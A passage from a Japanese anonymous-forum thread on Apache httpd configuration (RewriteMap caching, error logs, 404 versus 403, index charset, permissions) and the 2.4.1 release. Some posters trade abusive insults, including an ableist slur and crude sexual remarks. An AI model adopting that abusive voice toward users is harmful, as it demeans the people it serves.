よっぽど大量じゃないとパフォーマンスに影響しないだろうけど。
知らんけどRewriteMapも即時に反映されるなら毎回読んでるのかも。
734: 忍法帖【Lv=17,xxxPT】
11/11/02 13:20:53.42
斜めに受け取りすぎじゃないか？
ただ疑問に思ってるだけでケチつけてるわけじゃないだろ。
735:733
11/11/02 13:23:14.09
ごめんなさい
736:名無しさん＠お腹いっぱい。
11/11/02 14:47:52.41
だからドキュメント嫁って言ってんだろ。カス。
Note
For plain text and DBM format files the looked-up keys are cached
in-core until the mtime of the mapfile changes or the server does a
restart. This way you can have map-functions in rules which are used
for every request. This is no problem, because the external lookup
only happens once!
737:726
11/11/02 15:30:27.02
どのようにファイルが参照されるかは 736 が貼ってくれてるから、
RewriteMap txt: を実運用サイトで使ってる身としての意見や
経験をちょっとだけ
導入当初(4年ぐらい前)にベンチを取ったけど、
「1台で 200pv/sec 程度の ab を使ったテスト」を行い、
100行ぐらいの RewriteMap txt: あり/なし で差が出なかった。
実運用に入ってからも上に乗るアプリのほうが Apache なんかよりも
よっぽど重いので正直わからない。
それより、ファイルを変更したら即座に反映されることのほうが
運用する上ではよっぽど怖い。
738:名無しさん＠お腹いっぱい。
11/11/02 23:56:54.16
>>729
お前こそ頭大丈夫か？マップとか逐次設定増やす必要あるだろ。
性能も悪いし効率も悪い。
739:名無しさん＠お腹いっぱい。
11/11/03 08:33:31.65
>>738
お前、本物の知障だろ。どんなに頭悪いのかは足りない頭で考えろ。ｗｗ
しかも>>737が性能効率には全く影響なかったといった後でその発言。ｗｗｗ
740:名無しさん＠お腹いっぱい。
11/11/03 10:49:36.62
>>739
おまえやっぱ素人臭いな。100行程度の評価でうれしそうだし、逐次設定なんて誰でもできる。
あんな設定で俺すげーされたらかなわんわ。
黙ってた方がいいよ、頭も悪そうだし。
741:名無しさん＠お腹いっぱい。
11/11/03 10:55:17.93
>>740
その、誰でもできる設定を「簡単じゃない」と言い出した知障(>>728)がお前。ｗｗｗ
742:名無しさん＠お腹いっぱい。
11/11/03 12:45:34.81
>>741
強引にrewrite使えば誰でもできるけど、もっと簡単にやる方法がないかってのを聞いてるんでしょってこと。
お前どうしたの？そんなに認められないのが苦痛？
743:名無しさん＠お腹いっぱい。
11/11/03 12:49:48.24
プログラマっていうのは怠けるために最大の努力をするのが正しい姿
それに反してるってことだろ?
744:名無しさん＠お腹いっぱい。
11/11/04 08:12:59.07
俺が知ってるのは
プログラマは手抜きをするためならいかなる努力も厭わない
だ
745:名無しさん＠お腹いっぱい。
11/11/09 19:10:57.26
rapid siteのVPSを借りたのですが、
どの行にもerror_logの後部にreferrerがついてしまいます
調べてみたのですが、外し方が分かりません
エラーログが見づらいので、助けてください！
746:名無しさん＠お腹いっぱい。
11/11/09 19:12:23.88
>>745
httpd.conf の ErrorLog はどう書いてんの。
747:名無しさん＠お腹いっぱい。
11/11/09 19:13:27.64
つーかこっちで聞いた方がいい。
URLﾘﾝｸ(hibari.2ch.net)
748:745
11/11/09 19:13:54.59
>>746
ErrorLogは
ErrorLog logs/error_log
こんなかんじです
749:745
11/11/09 19:16:12.27
>>747
rapid siteのスレが・・・まぁ人が少なそうだったので・・・
すいませんｗおじゃましてみましたｗ
750:名無しさん＠お腹いっぱい。
11/11/10 00:54:37.03
customlog
751:745
11/11/10 11:54:33.12
調べてみたんですが、
エラーログのフォーマットってcustomlogで設定できないっぽいのですが
752:名無しさん＠お腹いっぱい。
11/11/11 16:11:55.02
>>751
逆逆。CustomLogを使ってエラーログを吐かせるの。
753:名無しさん＠お腹いっぱい。
11/11/11 16:52:00.54
>>752
そんなことできるの？
754:745
11/11/11 19:15:52.31
>>752
あ、エラーログと別に、デバッグログとして吐き出すってことですね。
普通のエラーログに出るようなWarning等々も吐き出せるってことですよね。
ちょっと調べてみます！
755:名無しさん＠お腹いっぱい。
11/11/12 10:08:35.97
apacheなのかdnsなのか別の範囲なのかわからないんですが
自宅のLanの中にサーバを立ち上げて、
test1.myserv.com / test2.myserv.comという風にバーチャルホストでサイトを作っています
で、クライアントのマシンではhostsを弄ってドメインでブラウザからアクセスできるようにしています
ところが、hostsを触れない端末があり（iPod touchですが）、アクセスできなくて困っています
どうやって解決したら良いでしょうか？
アドバイスもらえると嬉しいです、よろしくお願いします
756:名無しさん＠お腹いっぱい。
11/11/12 10:26:04.88
そりゃDNS立てるしかないだろ
そんなの初心者スレで質問する内容だ
757:名無しさん＠お腹いっぱい。
11/11/12 10:29:39.19
>>755
apache関係ないな。
dnsmasqおすすめ。
5行位書けば設定可能。
hostsも見てくれるので、楽。
で、すべての機器はそのDNSを参照する。
dhcpdもついてるよ。
758:名無しさん＠お腹いっぱい。
11/11/12 10:30:44.33
myserv.comの中の人ってこの程度の知識だったのか…
759:名無しさん＠お腹いっぱい。
11/11/12 13:08:07.49
>>756,757
apacheで対応できることじゃないですね、すみませんでした
dnsmasqっての調べてみます
ありがとうございました！
760:名無しさん＠お腹いっぱい。
11/11/12 13:16:06.00
>>758
ネタだよねソレ？
761:名無しさん＠お腹いっぱい。
11/11/12 14:20:10.97
勝手に他人のドメイン名乗ってるって皮肉だろ
762:名無しさん＠お腹いっぱい。
11/11/12 14:34:35.47
DDNSじゃねぇのかよ
763:名無しさん＠お腹いっぱい。
11/11/13 22:24:26.61
DDNSが何なのか判ってるの？
764:名無しさん＠お腹いっぱい。
11/11/14 01:32:11.96
判ってるよ？
765:名無しさん＠お腹いっぱい。
11/11/14 03:15:22.29
>>763
どわいなみっくどぅおめいんすわぁーびす
766:名無しさん＠お腹いっぱい。
11/11/14 04:21:26.82
「ぬぇ～む」が抜けてる
767:名無しさん＠お腹いっぱい。
11/11/28 21:45:59.73
アナルプラグ
768:名無しさん＠お腹いっぱい。
11/11/29 22:17:48.68
うほ
769:名無しさん＠お腹いっぱい。
11/12/17 21:52:43.33
apache 2.4が正式にリリースされるのっていつ頃だろうね？
770:名無しさん＠お腹いっぱい。
11/12/17 23:52:37.75
Apache 3.0構想発表 - 抜本的性能向上へ
URLﾘﾝｸ(news.mynavi.jp)
771:名無しさん＠お腹いっぱい。
11/12/18 03:58:14.80
>>770
いつのニュースだよ
772:名無しさん＠お腹いっぱい。
11/12/18 17:03:35.47
Apache 3.0の構想は永久に実現しないのかｗ
773:名無しさん＠お腹いっぱい。
12/01/27 05:21:05.72
2.3は何時出るんだよ。
774:名無しさん＠お腹いっぱい。
12/01/27 05:36:17.60
[RESCINDED ]Re: [VOTE] Release Apache httpd 2.4.0
On Sunday 22 January 2012, Jim Jagielski wrote:
> I am rescinding the vote for 2.4.0. Instead, on Monday (or
> Tuesday at the latest) I will T&R 2.4.1.
Plese wait until at least the core output filter issue is completely
resolved. Thanks.
775:名無しさん＠お腹いっぱい。
12/01/29 01:55:04.59
httpd.confがまじうざい
servertokens profが有効化されないし
cssフォルダのcssファイルにアクセス権限がないためアクセス出来ませんっていわれるし
もうわけわかめ
776:名無しさん＠お腹いっぱい。
12/01/29 02:27:36.01
修行が足りませんねｗ
777:名無しさん＠お腹いっぱい。
12/01/29 02:42:32.87
うざいなら消しちゃえばいいじゃん。
778:名無しさん＠お腹いっぱい。
12/01/29 13:16:44.84
2.2で困っていない
っていうか仕事が増えるから2.4出さないでくれ
779:名無しさん＠お腹いっぱい。
12/01/29 15:18:25.41
cssフォルダの権限がrootになってたため起こったエラーでした
指定したユーザーに権限渡したらすんなりと動きました
780:名無しさん＠お腹いっぱい。
12/01/30 08:25:36.26
権限の話なのになんでhttpd.confのせいだと思ったんだ。
781:名無しさん＠お腹いっぱい。
12/01/31 13:39:52.43
>>775
てか、Apache を使うのをやめたらどう？
782:名無しさん＠お腹いっぱい。
12/01/31 13:42:03.07
この調子だと他の使ったらうまくいくってわけでもなさそうだから
サーバ管理をやめた方がいいかも。
783:名無しさん＠お腹いっぱい。
12/01/31 20:25:35.30
>778
むしろ仕事がなくなるぞ
784:名無しさん＠お腹いっぱい。
12/02/01 18:29:24.20
2.2.22 age
785:名無しさん＠お腹いっぱい。
12/02/11 12:03:56.95
apache httpd も下り坂なのかな？
Nginx強く成長、Webサーバとして確固たるポジションに - Netcraft
URLﾘﾝｸ(news.mynavi.jp)
人気急増の高速WebサーバーNginx、商用サポートサービスがスタート
URLﾘﾝｸ(sourceforge.jp)
786:名無しさん＠お腹いっぱい。
12/02/11 13:13:15.49
>>785
静的コンテンツを配信する軽くて高速なhttpdと、動的コンテンツ用の高機能だけど
重いhttpdとで分化してきているってだけの話
787:名無しさん＠お腹いっぱい。
12/02/11 13:57:05.52
Damien Katz氏がApache CouchDBから離反し、Couchbase Server開発を継続
URLﾘﾝｸ(www.infoq.com)
> 氏はこの製品を“絶対にApacheプロジェクトにはしない”としている。氏によると理由は、
> “コンセンサスを取りながら開発する方法がプロジェクトの競争力を制限してしまう地点に
> 到達した"からだ。
> InfoQ: あなたは、Apacheプロジェクトの動きは遅く、必ずしも競争力のある製品を生まない、
> と言っているように思います。Apacheの主な問題は何ですか。
> DK: 私たちは顧客やユーザの声に敏感に反応する必要があります。
> しかし、Apacheプロジェクトのやり方だとそれが困難だと分かりました。
> コードの同期を維持し続けるのはとても大変でした。
788:名無しさん＠お腹いっぱい。
12/02/11 15:27:37.17
それがどうかしたの？
789:名無しさん＠お腹いっぱい。
12/02/11 16:17:23.99
> On 09 Feb 2012, at 4:03 PM, Jim Jagielski wrote:
>
> > A heads up that I plan to T&R 2.4.1 within the next 48hrs...
> > Why 48hrs? To give people who might either have patches/backports
> > time to fold them in, as well as give people who may not support
> > a T&R time to note their disagreement and provide valid reasons
> > behind it.
>
790:名無しさん＠お腹いっぱい。
12/02/11 16:30:13.96
独非営利団体がOpenOffice.orgベースの「White Label Office」を公開、Apacheはこれに対し協調を呼びかけ
URLﾘﾝｸ(sourceforge.jp)
> 現在ASFの元でインキュベーションプロジェクトとして運営されている。
> その間、OpenOffice.orgの一部の開発者がフォークプロジェクト
> 「LibreOffice」（The Document Foundation）を設立、OpenOffice.orgは求心力を失ったと見る向きもある。
LibreOfficeの連中はapacheとはもう関わりたくないってさｗ
791:名無しさん＠お腹いっぱい。
12/02/11 23:19:12.52
787=790=とんでもないバカ、かつ包茎
792:名無しさん＠お腹いっぱい。
12/02/12 00:21:54.62
>>790
LibreOfficeがOpenOfficeからフォークしたのはOpenOfficeがASFに託される前だろ
793:名無しさん＠お腹いっぱい。
12/02/13 07:11:57.16
VirtualHostの設定をSQLiteなどに格納する方法はないんでしょうか？
794:名無しさん＠お腹いっぱい。
12/02/18 11:19:06.31
> As such, I call the vote as PASSING and that httpd 2.4.1 will
> be released as GA.
795:名無しさん＠お腹いっぱい。
12/02/20 13:20:34.66
>>793
やればできる。
796:名無しさん＠お腹いっぱい。
12/02/20 18:46:33.83
そういうモジュールがある。
797:名無しさん＠お腹いっぱい。
12/02/20 23:18:58.83
作ればあるもん
798:名無しさん＠お腹いっぱい。
12/02/21 10:23:44.67
だよもん
799:名無しさん＠お腹いっぱい。
12/02/21 22:29:25.14
Apache httpd 2.4.1 Released
The Apache HTTP Server Project is pleased to announce
URLﾘﾝｸ(www.apache.org)
800:名無しさん＠お腹いっぱい。
12/02/22 23:04:13.20
「Apache HTTP Server 2.4.1」公開、6年ぶりの新たな安定版
URLﾘﾝｸ(internet.watch.impress.co.jp)
801:名無しさん＠お腹いっぱい。
12/02/23 01:53:38.89
Apache 2.4.1のスループット評価（旧ApacheとNginxとのベンチマーク比較）
URLﾘﾝｸ(blog.matsumoto-r.jp)
>いずれにせよ、Apache2.4.1は大きく性能改善がなされ、大量のアクセスが来た場合の処理耐性はnginxよりも良いということになる。
802:名無しさん＠お腹いっぱい。
12/02/23 02:19:34.50
aptで突っ込めるようになるのまだー
803:名無しさん＠お腹いっぱい。
12/03/02 16:30:32.82
PHP 5.4 がついにリリース ― Web を高速に！
804:名無しさん＠お腹いっぱい。
12/03/03 23:16:21.45
aprは別で単独でインストールしろという事になったのか。
805:名無しさん＠お腹いっぱい。
12/03/03 23:31:22.99
apache 2.4.1にしてもPHP 5.4にしても、Windows用のmsi版作ってほしいー
ほんと、まじでお願いします
806:名無しさん＠お腹いっぱい。
12/03/03 23:34:25.62
公式64ビットwindowsパイナリが欲しい
807:名無しさん＠お腹いっぱい。
12/03/04 01:21:04.09
Migu 1mはわかりやすいなあ。パ(pa)イナリってなんだろ。
808:名無しさん＠お腹いっぱい。
12/03/04 09:57:26.97
Apache2.2.22で質問
OptionsでIndexesを無効にし、DirectoryIndexにindex.htmlを指定している場合
URLが末尾/で終わったアクセスをした時にindex.htmlがなかったら403ではなく404を返したい。
つまり
URLﾘﾝｸ(hoge.com)
にアクセスした時に
URLﾘﾝｸ(hoge.com)
がなかったらForbidenじゃなくてNot Foundを返答したい。
普通は403なんだろうけど…
809:名無しさん＠お腹いっぱい。
12/03/04 20:27:31.46
RedirectMatch 404 /$
810:808
12/03/04 22:05:34.43
>>809
この手もあったか
取り敢えず>>808の書き込みの後調べてみて
1.mod_autoindex.soを読み込まないようにする
2.OptionsでIndexesを有効にする。
と設定することで「オートインデックスの作成は許可するが機能は無効」になるので
Not Foundになったけど…。
811:名無しさん＠お腹いっぱい。
12/03/04 23:28:33.94
エラーログが出ない方法が正解。
812:名無しさん＠お腹いっぱい。
12/03/05 10:17:31.83
mod_dir をロードしない。
813:名無しさん＠お腹いっぱい。
12/03/05 10:23:29.96
RFCを書き換えて403と404を入れ替える。
814:名無しさん＠お腹いっぱい。
12/03/22 03:32:53.11
OpenSSL 1.0.1 出てるな
TLS v1.1 v1.2 サポートされるから入れとけよ
815:名無しさん＠お腹いっぱい。
12/03/27 11:05:21.92
Indexesで表示されるファイルリストを Content-Type: text/html; charset=UTF-8で表示したい
のだけどどうすればいいでしょうか？
使ってるApacheはCentOS 5.8 でrpmで入るもので、httpd-2.2.3-63.el5.centos.1 です。
.htaccess に AddDefaultCharset UTF-8 とか書いてみても効かない様で、現在は
Content-Type: text/html; charset=iso-8859-1
になっています。
816:名無しさん＠お腹いっぱい。
12/03/27 11:27:12.41
>> 815
IndexOptions Charset=UTF-8
817:名無しさん＠お腹いっぱい。
12/03/28 03:01:46.58
>>816
㌧
818:名無しさん＠お腹いっぱい。
12/03/28 14:48:53.59
>>815-817
状況によっては、こっちのほうがいいかもね。
IndexOptions +Charset=UTF-8
819:名無しさん＠お腹いっぱい。
12/04/09 10:22:04.59
すまん、教えてくれ。
apacheで大量のコンテンツを処理する必要があるんだけど、
画像コンテンツは転送が完了するまでapacheのMaxClientsを消費するんだろうか？
ユーザが遅い回線で見てたらMaxClientsはどんどん消費されるんだろうか？
820:名無しさん＠お腹いっぱい。
12/04/09 10:25:22.24
>>819
する
821:名無しさん＠お腹いっぱい。
12/04/09 11:13:07.00
最近は一定以上遅い回線は足切りするのが主流だね。
822:名無しさん＠お腹いっぱい。
12/04/09 11:18:46.94
ありがとう。
助かった。
823:名無しさん＠お腹いっぱい。
12/04/16 15:11:55.08
PHPスクリプトをWEB公開ディレクトリに配置した状態で（←これがあまり宜しくないとは思うけど）
ブラウザからはアクセス出来ないけれど
cronからはキック出来る様にはどうしたらいいですか？
824:名無しさん＠お腹いっぱい。
12/04/16 16:52:06.39
owner を cron から呼ぶアカウントにしといて chmod 700 とか。
825:名無しさん＠お腹いっぱい。
12/05/23 13:56:45.86
下記の用にcakePHPを使用したPHPコードを実行させる為に
前準備としてブラウザより各ディレクトリ（ファイル）にアクセス
できることの確認を行っているのですが
なぜかcakephpディレクトリの中にはアクセスする事が出来ません。何が原因なのでしょうか？
※そもそも.htaccessを無効にしたのでアクセス出来なくちゃならないハズなんですが・・・
【ブラウザからアクセスした場合】
◯ URLﾘﾝｸ(localhost)
× URLﾘﾝｸ(localhost)
【cakephpディレクトリ内のファイル】
/var/www/html/cakephp
test.php
.htaccess → リネーム： htaccess_bk
【コマンドラインから直接スクリプトを叩いた場合】
[root@localhost cakephp]# php test.php
string(4) "test"
826:名無しさん＠お腹いっぱい。
12/05/23 14:17:16.57
質問するなら、logと.conf位出したら？
パソコンが動きませんレベルで、解答しろと？
827:825
12/05/23 14:30:11.32
>>826
すみません。ログを載せるのが漏れてました。
やはり、
.htaccess を無効にしているのに表示されないのは不思議でなりません。
【Apacheのエラーログ】
[Wed May 23 14:25:00 2012] [error] [client 127.0.0.1] (13)Permission denied: access to /cakephp/test.php denied
828:名無しさん＠お腹いっぱい。
12/05/23 14:46:43.86
＞Permission denied: access to /cakephp/test.php denied
logに書いてあるとおり、パーミッション権限の設定によりアクセス不可能。
こんな、中学レベル以下の英語が読めないのはどうかと思う。